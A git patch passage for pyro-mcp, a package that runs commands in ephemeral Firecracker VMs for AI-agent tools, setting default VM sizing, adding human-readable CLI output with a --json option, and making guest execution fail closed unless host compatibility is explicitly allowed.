From 5d63e4c16e58a9c0c0a594c70132269a391c0694 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Mon, 9 Mar 2026 20:52:49 -0300 Subject: [PATCH 01/49] Ship trust-first CLI and runtime defaults --- AGENTS.md | 1 + README.md | 20 +- docs/install.md | 7 +- docs/public-contract.md | 20 +- docs/troubleshooting.md | 20 ++ examples/agent_vm_run.py | 21 +- examples/langchain_vm_run.py | 29 ++- examples/openai_responses_vm_run.py | 21 +- examples/python_lifecycle.py | 2 - examples/python_run.py | 2 - pyproject.toml | 2 +- src/pyro_mcp/api.py | 45 ++-- src/pyro_mcp/cli.py | 211 ++++++++++++++-- src/pyro_mcp/contract.py | 2 + src/pyro_mcp/demo.py | 7 +- src/pyro_mcp/ollama_demo.py | 51 +++- src/pyro_mcp/vm_environments.py | 9 +- src/pyro_mcp/vm_manager.py | 73 +++++- tests/test_api.py | 23 +- tests/test_cli.py | 373 +++++++++++++++++++++++++++- tests/test_demo.py | 3 +- tests/test_ollama_demo.py | 14 +- tests/test_public_contract.py | 6 +- tests/test_server.py | 9 +- tests/test_vm_manager.py | 55 +++- uv.lock | 2 +- 26 files changed, 894 insertions(+), 134 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index f78972a..eb3924e 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -30,6 +30,7 @@ This repository ships `pyro-mcp`, an MCP-compatible package for ephemeral VM lif - Use `make doctor` to inspect bundled runtime integrity and host prerequisites. - Network-enabled flows require host privilege for TAP/NAT setup; the current implementation uses `sudo -n` for `ip`, `nft`, and `iptables` when available. - If you need full log payloads from the Ollama demo, use `make ollama-demo OLLAMA_DEMO_FLAGS=-v`. +- `pyro run` now defaults to `1 vCPU / 1024 MiB`, human-readable output, and fail-closed guest execution unless `--allow-host-compat` is passed. - After heavy runtime work, reclaim local space with `rm -rf build` and `git lfs prune`. - The pre-migration `pre-lfs-*` tag is local backup material only; do not push it or it will keep the old giant blobs reachable. - Public contract documentation lives in `docs/public-contract.md`. diff --git a/README.md b/README.md index 9048935..911c0a6 100644 --- a/README.md +++ b/README.md @@ -45,6 +45,8 @@ The package ships the embedded Firecracker runtime and a package-controlled envi Official environments are pulled as OCI artifacts from public Docker Hub repositories into a local cache on first use or through `pyro env pull`. End users do not need registry credentials to pull or run official environments. +The default cache location is `~/.cache/pyro-mcp/environments`; override it with +`PYRO_ENVIRONMENT_CACHE_DIR`. ## CLI @@ -63,13 +65,13 @@ pyro env pull debian:12 Run one command in an ephemeral VM: ```bash -pyro run debian:12 --vcpu-count 1 --mem-mib 1024 -- git --version +pyro run debian:12 -- git --version ``` Run with outbound internet enabled: ```bash -pyro run debian:12 --vcpu-count 1 --mem-mib 1024 --network -- \ +pyro run debian:12 --network -- \ "git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world && git -C hello-world rev-parse --is-inside-work-tree" ``` @@ -77,8 +79,13 @@ Show runtime and host diagnostics: ```bash pyro doctor +pyro doctor --json ``` +`pyro run` defaults to `1 vCPU / 1024 MiB`. +It fails closed when guest boot or guest exec is unavailable. +Use `--allow-host-compat` only if you explicitly want host execution. + Run the deterministic demo: ```bash @@ -103,8 +110,6 @@ pyro = Pyro() result = pyro.run_in_vm( environment="debian:12", command="git --version", - vcpu_count=1, - mem_mib=1024, timeout_seconds=30, network=False, ) @@ -119,8 +124,6 @@ from pyro_mcp import Pyro pyro = Pyro() created = pyro.create_vm( environment="debian:12", - vcpu_count=1, - mem_mib=1024, ttl_seconds=600, network=True, ) @@ -144,12 +147,12 @@ print(pyro.inspect_environment("debian:12")) Primary agent-facing tool: -- `vm_run(environment, command, vcpu_count, mem_mib, timeout_seconds=30, ttl_seconds=600, network=false)` +- `vm_run(environment, command, vcpu_count=1, mem_mib=1024, timeout_seconds=30, ttl_seconds=600, network=false, allow_host_compat=false)` Advanced lifecycle tools: - `vm_list_environments()` -- `vm_create(environment, vcpu_count, mem_mib, ttl_seconds=600, network=false)` +- `vm_create(environment, vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=false, allow_host_compat=false)` - `vm_start(vm_id)` - `vm_exec(vm_id, command, timeout_seconds=30)` - `vm_stop(vm_id)` @@ -180,6 +183,7 @@ The package ships an embedded Linux x86_64 runtime payload with: No system Firecracker installation is required. `pyro` installs curated environments into a local cache and reports their status through `pyro env inspect` and `pyro doctor`. +The public CLI is human-readable by default; add `--json` for structured output. ## Contributor Workflow diff --git a/docs/install.md b/docs/install.md index 068d44a..6c69183 100644 --- a/docs/install.md +++ b/docs/install.md @@ -30,7 +30,7 @@ uvx --from pyro-mcp pyro env pull debian:12 Run one command in a curated environment: ```bash -uvx --from pyro-mcp pyro run debian:12 --vcpu-count 1 --mem-mib 1024 -- git --version +uvx --from pyro-mcp pyro run debian:12 -- git --version ``` Inspect the official environment catalog: @@ -48,8 +48,13 @@ pyro env list pyro env pull debian:12 pyro env inspect debian:12 pyro doctor +pyro run debian:12 -- git --version ``` +`pyro run` defaults to `1 vCPU / 1024 MiB`. +If guest execution is unavailable, the command fails unless you explicitly pass +`--allow-host-compat`. + ## Contributor Clone ```bash diff --git a/docs/public-contract.md b/docs/public-contract.md index f446d0d..4c36289 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -1,6 +1,6 @@ # Public Contract -This document defines the supported public interface for `pyro-mcp` `1.x`. +This document defines the supported public interface for `pyro-mcp` `2.x`. ## Package Identity @@ -31,12 +31,14 @@ Stable `pyro run` interface: - `--timeout-seconds` - `--ttl-seconds` - `--network` +- `--allow-host-compat` +- `--json` Behavioral guarantees: -- `pyro run --vcpu-count --mem-mib -- ` returns structured JSON. -- `pyro env list`, `pyro env pull`, `pyro env inspect`, and `pyro env prune` return structured JSON. -- `pyro doctor` returns structured JSON diagnostics. +- `pyro run -- ` defaults to `1 vCPU / 1024 MiB`. +- `pyro run` fails if guest boot or guest exec is unavailable unless `--allow-host-compat` is set. +- `pyro run`, `pyro env list`, `pyro env pull`, `pyro env inspect`, `pyro env prune`, and `pyro doctor` are human-readable by default and return structured JSON with `--json`. - `pyro demo ollama` prints log lines plus a final summary line. ## Python SDK Contract @@ -80,6 +82,11 @@ Stable public method names: - `reap_expired()` - `run_in_vm(...)` +Behavioral defaults: + +- `Pyro.create_vm(...)` and `Pyro.run_in_vm(...)` default to `vcpu_count=1` and `mem_mib=1024`. +- `allow_host_compat` defaults to `False` on `create_vm(...)` and `run_in_vm(...)`. + ## MCP Contract Primary tool: @@ -98,6 +105,11 @@ Advanced lifecycle tools: - `vm_network_info` - `vm_reap_expired` +Behavioral defaults: + +- `vm_run` and `vm_create` default to `vcpu_count=1` and `mem_mib=1024`. +- `vm_run` and `vm_create` expose `allow_host_compat`, which defaults to `false`. + ## Versioning Rule - `pyro-mcp` uses SemVer. diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md index 54a4375..dc5ac3f 100644 --- a/docs/troubleshooting.md +++ b/docs/troubleshooting.md @@ -20,6 +20,26 @@ pyro env pull debian:12 If you are validating a freshly published official environment, also verify that the corresponding Docker Hub repository is public. +## `pyro run` fails closed before the command executes + +Cause: + +- the bundled runtime cannot boot a guest +- guest boot works but guest exec is unavailable +- you are using a mock or shim runtime path that only supports host compatibility mode + +Fix: + +```bash +pyro doctor +``` + +If you intentionally want host execution for a one-off compatibility run, rerun with: + +```bash +pyro run --allow-host-compat debian:12 -- git --version +``` + ## `pyro run --network` fails before the guest starts Cause: diff --git a/examples/agent_vm_run.py b/examples/agent_vm_run.py index 15dae9d..0079ef5 100644 --- a/examples/agent_vm_run.py +++ b/examples/agent_vm_run.py @@ -6,6 +6,13 @@ import json from typing import Any from pyro_mcp import Pyro +from pyro_mcp.vm_manager import ( + DEFAULT_ALLOW_HOST_COMPAT, + DEFAULT_MEM_MIB, + DEFAULT_TIMEOUT_SECONDS, + DEFAULT_TTL_SECONDS, + DEFAULT_VCPU_COUNT, +) VM_RUN_TOOL: dict[str, Any] = { "name": "vm_run", @@ -20,8 +27,9 @@ VM_RUN_TOOL: dict[str, Any] = { "timeout_seconds": {"type": "integer", "default": 30}, "ttl_seconds": {"type": "integer", "default": 600}, "network": {"type": "boolean", "default": False}, + "allow_host_compat": {"type": "boolean", "default": False}, }, - "required": ["environment", "command", "vcpu_count", "mem_mib"], + "required": ["environment", "command"], }, } @@ -31,11 +39,12 @@ def call_vm_run(arguments: dict[str, Any]) -> dict[str, Any]: return pyro.run_in_vm( environment=str(arguments["environment"]), command=str(arguments["command"]), - vcpu_count=int(arguments["vcpu_count"]), - mem_mib=int(arguments["mem_mib"]), - timeout_seconds=int(arguments.get("timeout_seconds", 30)), - ttl_seconds=int(arguments.get("ttl_seconds", 600)), + vcpu_count=int(arguments.get("vcpu_count", DEFAULT_VCPU_COUNT)), + mem_mib=int(arguments.get("mem_mib", DEFAULT_MEM_MIB)), + timeout_seconds=int(arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)), + ttl_seconds=int(arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)), network=bool(arguments.get("network", False)), + allow_host_compat=bool(arguments.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)), ) @@ -43,8 +52,6 @@ def main() -> None: tool_arguments: dict[str, Any] = { "environment": "debian:12", "command": "git --version", - "vcpu_count": 1, - "mem_mib": 1024, "timeout_seconds": 30, "network": False, } diff --git a/examples/langchain_vm_run.py b/examples/langchain_vm_run.py index 51208e9..dc73506 100644 --- a/examples/langchain_vm_run.py +++ b/examples/langchain_vm_run.py @@ -13,6 +13,13 @@ import json from typing import Any, Callable, TypeVar, cast from pyro_mcp import Pyro +from pyro_mcp.vm_manager import ( + DEFAULT_ALLOW_HOST_COMPAT, + DEFAULT_MEM_MIB, + DEFAULT_TIMEOUT_SECONDS, + DEFAULT_TTL_SECONDS, + DEFAULT_VCPU_COUNT, +) F = TypeVar("F", bound=Callable[..., Any]) @@ -21,11 +28,12 @@ def run_vm_run_tool( *, environment: str, command: str, - vcpu_count: int, - mem_mib: int, - timeout_seconds: int = 30, - ttl_seconds: int = 600, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> str: pyro = Pyro() result = pyro.run_in_vm( @@ -36,6 +44,7 @@ def run_vm_run_tool( timeout_seconds=timeout_seconds, ttl_seconds=ttl_seconds, network=network, + allow_host_compat=allow_host_compat, ) return json.dumps(result, sort_keys=True) @@ -55,12 +64,13 @@ def build_langchain_vm_run_tool() -> Any: def vm_run( environment: str, command: str, - vcpu_count: int, - mem_mib: int, - timeout_seconds: int = 30, - ttl_seconds: int = 600, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, - ) -> str: + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + ) -> str: """Run one command in an ephemeral Firecracker VM and clean it up.""" return run_vm_run_tool( environment=environment, @@ -70,6 +80,7 @@ def build_langchain_vm_run_tool() -> Any: timeout_seconds=timeout_seconds, ttl_seconds=ttl_seconds, network=network, + allow_host_compat=allow_host_compat, ) return vm_run diff --git a/examples/openai_responses_vm_run.py b/examples/openai_responses_vm_run.py index f40f860..fb8ca37 100644 --- a/examples/openai_responses_vm_run.py +++ b/examples/openai_responses_vm_run.py @@ -15,6 +15,13 @@ import os from typing import Any from pyro_mcp import Pyro +from pyro_mcp.vm_manager import ( + DEFAULT_ALLOW_HOST_COMPAT, + DEFAULT_MEM_MIB, + DEFAULT_TIMEOUT_SECONDS, + DEFAULT_TTL_SECONDS, + DEFAULT_VCPU_COUNT, +) DEFAULT_MODEL = "gpt-5" @@ -33,8 +40,9 @@ OPENAI_VM_RUN_TOOL: dict[str, Any] = { "timeout_seconds": {"type": "integer"}, "ttl_seconds": {"type": "integer"}, "network": {"type": "boolean"}, + "allow_host_compat": {"type": "boolean"}, }, - "required": ["environment", "command", "vcpu_count", "mem_mib"], + "required": ["environment", "command"], "additionalProperties": False, }, } @@ -45,11 +53,12 @@ def call_vm_run(arguments: dict[str, Any]) -> dict[str, Any]: return pyro.run_in_vm( environment=str(arguments["environment"]), command=str(arguments["command"]), - vcpu_count=int(arguments["vcpu_count"]), - mem_mib=int(arguments["mem_mib"]), - timeout_seconds=int(arguments.get("timeout_seconds", 30)), - ttl_seconds=int(arguments.get("ttl_seconds", 600)), + vcpu_count=int(arguments.get("vcpu_count", DEFAULT_VCPU_COUNT)), + mem_mib=int(arguments.get("mem_mib", DEFAULT_MEM_MIB)), + timeout_seconds=int(arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)), + ttl_seconds=int(arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)), network=bool(arguments.get("network", False)), + allow_host_compat=bool(arguments.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)), ) @@ -88,7 +97,7 @@ def main() -> None: model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL) prompt = ( "Use the vm_run tool to run `git --version` in an ephemeral VM. " - "Use the `debian:12` environment with 1 vCPU and 1024 MiB of memory. " + "Use the `debian:12` environment. " "Do not use networking for this request." ) print(run_openai_vm_run_example(prompt=prompt, model=model)) diff --git a/examples/python_lifecycle.py b/examples/python_lifecycle.py index d1737c6..880d683 100644 --- a/examples/python_lifecycle.py +++ b/examples/python_lifecycle.py @@ -11,8 +11,6 @@ def main() -> None: pyro = Pyro() created = pyro.create_vm( environment="debian:12", - vcpu_count=1, - mem_mib=1024, ttl_seconds=600, network=False, ) diff --git a/examples/python_run.py b/examples/python_run.py index b31f08e..e3040ef 100644 --- a/examples/python_run.py +++ b/examples/python_run.py @@ -12,8 +12,6 @@ def main() -> None: result = pyro.run_in_vm( environment="debian:12", command="git --version", - vcpu_count=1, - mem_mib=1024, timeout_seconds=30, network=False, ) diff --git a/pyproject.toml b/pyproject.toml index 9603e0d..2cf3199 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "1.0.0" +version = "2.0.0" description = "Curated Linux environments for ephemeral Firecracker-backed VM execution." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 758e4c0..e2a0b1d 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -7,7 +7,14 @@ from typing import Any from mcp.server.fastmcp import FastMCP -from pyro_mcp.vm_manager import VmManager +from pyro_mcp.vm_manager import ( + DEFAULT_ALLOW_HOST_COMPAT, + DEFAULT_MEM_MIB, + DEFAULT_TIMEOUT_SECONDS, + DEFAULT_TTL_SECONDS, + DEFAULT_VCPU_COUNT, + VmManager, +) class Pyro: @@ -49,10 +56,11 @@ class Pyro: self, *, environment: str, - vcpu_count: int, - mem_mib: int, - ttl_seconds: int = 600, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: return self._manager.create_vm( environment=environment, @@ -60,6 +68,7 @@ class Pyro: mem_mib=mem_mib, ttl_seconds=ttl_seconds, network=network, + allow_host_compat=allow_host_compat, ) def start_vm(self, vm_id: str) -> dict[str, Any]: @@ -88,11 +97,12 @@ class Pyro: *, environment: str, command: str, - vcpu_count: int, - mem_mib: int, - timeout_seconds: int = 30, - ttl_seconds: int = 600, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: return self._manager.run_vm( environment=environment, @@ -102,6 +112,7 @@ class Pyro: timeout_seconds=timeout_seconds, ttl_seconds=ttl_seconds, network=network, + allow_host_compat=allow_host_compat, ) def create_server(self) -> FastMCP: @@ -111,11 +122,12 @@ class Pyro: async def vm_run( environment: str, command: str, - vcpu_count: int, - mem_mib: int, - timeout_seconds: int = 30, - ttl_seconds: int = 600, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: """Create, start, execute, and clean up an ephemeral VM.""" return self.run_in_vm( @@ -126,6 +138,7 @@ class Pyro: timeout_seconds=timeout_seconds, ttl_seconds=ttl_seconds, network=network, + allow_host_compat=allow_host_compat, ) @server.tool() @@ -136,10 +149,11 @@ class Pyro: @server.tool() async def vm_create( environment: str, - vcpu_count: int, - mem_mib: int, - ttl_seconds: int = 600, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> dict[str, Any]: """Create an ephemeral VM record with environment and resource sizing.""" return self.create_vm( @@ -148,6 +162,7 @@ class Pyro: mem_mib=mem_mib, ttl_seconds=ttl_seconds, network=network, + allow_host_compat=allow_host_compat, ) @server.tool() diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 71c13f0..3a507c4 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -4,6 +4,7 @@ from __future__ import annotations import argparse import json +import sys from typing import Any from pyro_mcp import __version__ @@ -12,12 +13,135 @@ from pyro_mcp.demo import run_demo from pyro_mcp.ollama_demo import DEFAULT_OLLAMA_BASE_URL, DEFAULT_OLLAMA_MODEL, run_ollama_tool_demo from pyro_mcp.runtime import DEFAULT_PLATFORM, doctor_report from pyro_mcp.vm_environments import DEFAULT_CATALOG_VERSION +from pyro_mcp.vm_manager import ( + DEFAULT_MEM_MIB, + DEFAULT_VCPU_COUNT, +) def _print_json(payload: dict[str, Any]) -> None: print(json.dumps(payload, indent=2, sort_keys=True)) +def _write_stream(text: str, *, stream: Any) -> None: + if text == "": + return + stream.write(text) + stream.flush() + + +def _print_run_human(payload: dict[str, Any]) -> None: + stdout = str(payload.get("stdout", "")) + stderr = str(payload.get("stderr", "")) + _write_stream(stdout, stream=sys.stdout) + _write_stream(stderr, stream=sys.stderr) + print( + "[run] " + f"environment={str(payload.get('environment', 'unknown'))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))} " + f"exit_code={int(payload.get('exit_code', 1))} " + f"duration_ms={int(payload.get('duration_ms', 0))}", + file=sys.stderr, + flush=True, + ) + + +def _print_env_list_human(payload: dict[str, Any]) -> None: + print(f"Catalog version: {payload.get('catalog_version', 'unknown')}") + environments = payload.get("environments") + if not isinstance(environments, list) or not environments: + print("No environments found.") + return + for entry in environments: + if not isinstance(entry, dict): + continue + status = "installed" if bool(entry.get("installed")) else "not installed" + print( + f"{str(entry.get('name', 'unknown'))} [{status}] " + f"{str(entry.get('description', '')).strip()}".rstrip() + ) + + +def _print_env_detail_human(payload: dict[str, Any], *, action: str) -> None: + print(f"{action}: {str(payload.get('name', 'unknown'))}") + print(f"Version: {str(payload.get('version', 'unknown'))}") + print( + f"Distribution: {str(payload.get('distribution', 'unknown'))} " + f"{str(payload.get('distribution_version', 'unknown'))}" + ) + print(f"Installed: {'yes' if bool(payload.get('installed')) else 'no'}") + print(f"Cache dir: {str(payload.get('cache_dir', 'unknown'))}") + packages = payload.get("default_packages") + if isinstance(packages, list) and packages: + print("Default packages: " + ", ".join(str(item) for item in packages)) + description = str(payload.get("description", "")).strip() + if description != "": + print(f"Description: {description}") + if payload.get("installed"): + print(f"Install dir: {str(payload.get('install_dir', 'unknown'))}") + install_manifest = payload.get("install_manifest") + if install_manifest is not None: + print(f"Install manifest: {str(install_manifest)}") + kernel_image = payload.get("kernel_image") + if kernel_image is not None: + print(f"Kernel image: {str(kernel_image)}") + rootfs_image = payload.get("rootfs_image") + if rootfs_image is not None: + print(f"Rootfs image: {str(rootfs_image)}") + registry = payload.get("oci_registry") + repository = payload.get("oci_repository") + reference = payload.get("oci_reference") + if isinstance(registry, str) and isinstance(repository, str) and isinstance(reference, str): + print(f"OCI source: {registry}/{repository}:{reference}") + + +def _print_prune_human(payload: dict[str, Any]) -> None: + count = int(payload.get("count", 0)) + print(f"Deleted {count} cached environment entr{'y' if count == 1 else 'ies'}.") + deleted = payload.get("deleted_environment_dirs") + if isinstance(deleted, list): + for entry in deleted: + print(f"- {entry}") + + +def _print_doctor_human(payload: dict[str, Any]) -> None: + issues = payload.get("issues") + runtime_ok = bool(payload.get("runtime_ok")) + print(f"Platform: {str(payload.get('platform', 'unknown'))}") + print(f"Runtime: {'PASS' if runtime_ok else 'FAIL'}") + kvm = payload.get("kvm") + if isinstance(kvm, dict): + print( + "KVM: " + f"exists={'yes' if bool(kvm.get('exists')) else 'no'} " + f"readable={'yes' if bool(kvm.get('readable')) else 'no'} " + f"writable={'yes' if bool(kvm.get('writable')) else 'no'}" + ) + runtime = payload.get("runtime") + if isinstance(runtime, dict): + print(f"Environment cache: {str(runtime.get('cache_dir', 'unknown'))}") + capabilities = runtime.get("capabilities") + if isinstance(capabilities, dict): + print( + "Capabilities: " + f"vm_boot={'yes' if bool(capabilities.get('supports_vm_boot')) else 'no'} " + f"guest_exec={'yes' if bool(capabilities.get('supports_guest_exec')) else 'no'} " + "guest_network=" + f"{'yes' if bool(capabilities.get('supports_guest_network')) else 'no'}" + ) + networking = payload.get("networking") + if isinstance(networking, dict): + print( + "Networking: " + f"tun={'yes' if bool(networking.get('tun_available')) else 'no'} " + f"ip_forward={'yes' if bool(networking.get('ip_forward_enabled')) else 'no'}" + ) + if isinstance(issues, list) and issues: + print("Issues:") + for issue in issues: + print(f"- {issue}") + + def _build_parser() -> argparse.ArgumentParser: parser = argparse.ArgumentParser( description="pyro CLI for curated ephemeral Linux environments." @@ -27,15 +151,19 @@ def _build_parser() -> argparse.ArgumentParser: env_parser = subparsers.add_parser("env", help="Inspect and manage curated environments.") env_subparsers = env_parser.add_subparsers(dest="env_command", required=True) - env_subparsers.add_parser("list", help="List official environments.") + list_parser = env_subparsers.add_parser("list", help="List official environments.") + list_parser.add_argument("--json", action="store_true") pull_parser = env_subparsers.add_parser( "pull", help="Install an environment into the local cache.", ) pull_parser.add_argument("environment") + pull_parser.add_argument("--json", action="store_true") inspect_parser = env_subparsers.add_parser("inspect", help="Inspect one environment.") inspect_parser.add_argument("environment") - env_subparsers.add_parser("prune", help="Delete stale cached environments.") + inspect_parser.add_argument("--json", action="store_true") + prune_parser = env_subparsers.add_parser("prune", help="Delete stale cached environments.") + prune_parser.add_argument("--json", action="store_true") mcp_parser = subparsers.add_parser("mcp", help="Run the MCP server.") mcp_subparsers = mcp_parser.add_subparsers(dest="mcp_command", required=True) @@ -43,15 +171,18 @@ def _build_parser() -> argparse.ArgumentParser: run_parser = subparsers.add_parser("run", help="Run one command inside an ephemeral VM.") run_parser.add_argument("environment") - run_parser.add_argument("--vcpu-count", type=int, required=True) - run_parser.add_argument("--mem-mib", type=int, required=True) + run_parser.add_argument("--vcpu-count", type=int, default=DEFAULT_VCPU_COUNT) + run_parser.add_argument("--mem-mib", type=int, default=DEFAULT_MEM_MIB) run_parser.add_argument("--timeout-seconds", type=int, default=30) run_parser.add_argument("--ttl-seconds", type=int, default=600) run_parser.add_argument("--network", action="store_true") + run_parser.add_argument("--allow-host-compat", action="store_true") + run_parser.add_argument("--json", action="store_true") run_parser.add_argument("command_args", nargs="*") doctor_parser = subparsers.add_parser("doctor", help="Inspect runtime and host diagnostics.") doctor_parser.add_argument("--platform", default=DEFAULT_PLATFORM) + doctor_parser.add_argument("--json", action="store_true") demo_parser = subparsers.add_parser("demo", help="Run built-in demos.") demo_subparsers = demo_parser.add_subparsers(dest="demo_command") @@ -77,40 +208,72 @@ def main() -> None: pyro = Pyro() if args.command == "env": if args.env_command == "list": - _print_json( - { - "catalog_version": DEFAULT_CATALOG_VERSION, - "environments": pyro.list_environments(), - } - ) + list_payload: dict[str, Any] = { + "catalog_version": DEFAULT_CATALOG_VERSION, + "environments": pyro.list_environments(), + } + if bool(args.json): + _print_json(list_payload) + else: + _print_env_list_human(list_payload) return if args.env_command == "pull": - _print_json(dict(pyro.pull_environment(args.environment))) + pull_payload = pyro.pull_environment(args.environment) + if bool(args.json): + _print_json(pull_payload) + else: + _print_env_detail_human(pull_payload, action="Pulled") return if args.env_command == "inspect": - _print_json(dict(pyro.inspect_environment(args.environment))) + inspect_payload = pyro.inspect_environment(args.environment) + if bool(args.json): + _print_json(inspect_payload) + else: + _print_env_detail_human(inspect_payload, action="Environment") return if args.env_command == "prune": - _print_json(dict(pyro.prune_environments())) + prune_payload = pyro.prune_environments() + if bool(args.json): + _print_json(prune_payload) + else: + _print_prune_human(prune_payload) return if args.command == "mcp": pyro.create_server().run(transport="stdio") return if args.command == "run": command = _require_command(args.command_args) - result = pyro.run_in_vm( - environment=args.environment, - command=command, - vcpu_count=args.vcpu_count, - mem_mib=args.mem_mib, - timeout_seconds=args.timeout_seconds, - ttl_seconds=args.ttl_seconds, - network=args.network, - ) - _print_json(result) + try: + result = pyro.run_in_vm( + environment=args.environment, + command=command, + vcpu_count=args.vcpu_count, + mem_mib=args.mem_mib, + timeout_seconds=args.timeout_seconds, + ttl_seconds=args.ttl_seconds, + network=args.network, + allow_host_compat=args.allow_host_compat, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(result) + else: + _print_run_human(result) + exit_code = int(result.get("exit_code", 1)) + if exit_code != 0: + raise SystemExit(exit_code) return if args.command == "doctor": - _print_json(doctor_report(platform=args.platform)) + payload = doctor_report(platform=args.platform) + if bool(args.json): + _print_json(payload) + else: + _print_doctor_human(payload) return if args.command == "demo" and args.demo_command == "ollama": try: diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index f7a533d..131907d 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -11,6 +11,8 @@ PUBLIC_CLI_RUN_FLAGS = ( "--timeout-seconds", "--ttl-seconds", "--network", + "--allow-host-compat", + "--json", ) PUBLIC_SDK_METHODS = ( diff --git a/src/pyro_mcp/demo.py b/src/pyro_mcp/demo.py index fd44816..dcf43b2 100644 --- a/src/pyro_mcp/demo.py +++ b/src/pyro_mcp/demo.py @@ -6,6 +6,7 @@ import json from typing import Any from pyro_mcp.api import Pyro +from pyro_mcp.vm_manager import DEFAULT_MEM_MIB, DEFAULT_TTL_SECONDS, DEFAULT_VCPU_COUNT INTERNET_PROBE_COMMAND = ( 'python3 -c "import urllib.request; ' @@ -30,10 +31,10 @@ def run_demo(*, network: bool = False) -> dict[str, Any]: return pyro.run_in_vm( environment="debian:12", command=_demo_command(status), - vcpu_count=1, - mem_mib=512, + vcpu_count=DEFAULT_VCPU_COUNT, + mem_mib=DEFAULT_MEM_MIB, timeout_seconds=30, - ttl_seconds=600, + ttl_seconds=DEFAULT_TTL_SECONDS, network=network, ) diff --git a/src/pyro_mcp/ollama_demo.py b/src/pyro_mcp/ollama_demo.py index 1a590dd..a02fdef 100644 --- a/src/pyro_mcp/ollama_demo.py +++ b/src/pyro_mcp/ollama_demo.py @@ -10,6 +10,13 @@ from collections.abc import Callable from typing import Any, Final, cast from pyro_mcp.api import Pyro +from pyro_mcp.vm_manager import ( + DEFAULT_ALLOW_HOST_COMPAT, + DEFAULT_MEM_MIB, + DEFAULT_TIMEOUT_SECONDS, + DEFAULT_TTL_SECONDS, + DEFAULT_VCPU_COUNT, +) __all__ = ["Pyro", "run_ollama_tool_demo"] @@ -39,8 +46,9 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [ "timeout_seconds": {"type": "integer"}, "ttl_seconds": {"type": "integer"}, "network": {"type": "boolean"}, + "allow_host_compat": {"type": "boolean"}, }, - "required": ["environment", "command", "vcpu_count", "mem_mib"], + "required": ["environment", "command"], "additionalProperties": False, }, }, @@ -61,7 +69,7 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [ "type": "function", "function": { "name": "vm_create", - "description": "Create an ephemeral VM with explicit vCPU and memory sizing.", + "description": "Create an ephemeral VM with optional resource sizing.", "parameters": { "type": "object", "properties": { @@ -70,8 +78,9 @@ TOOL_SPECS: Final[list[dict[str, Any]]] = [ "mem_mib": {"type": "integer"}, "ttl_seconds": {"type": "integer"}, "network": {"type": "boolean"}, + "allow_host_compat": {"type": "boolean"}, }, - "required": ["environment", "vcpu_count", "mem_mib"], + "required": ["environment"], "additionalProperties": False, }, }, @@ -192,6 +201,12 @@ def _require_int(arguments: dict[str, Any], key: str) -> int: raise ValueError(f"{key} must be an integer") +def _optional_int(arguments: dict[str, Any], key: str, *, default: int) -> int: + if key not in arguments: + return default + return _require_int(arguments, key) + + def _require_bool(arguments: dict[str, Any], key: str, *, default: bool = False) -> bool: value = arguments.get(key, default) if isinstance(value, bool): @@ -211,27 +226,37 @@ def _dispatch_tool_call( pyro: Pyro, tool_name: str, arguments: dict[str, Any] ) -> dict[str, Any]: if tool_name == "vm_run": - 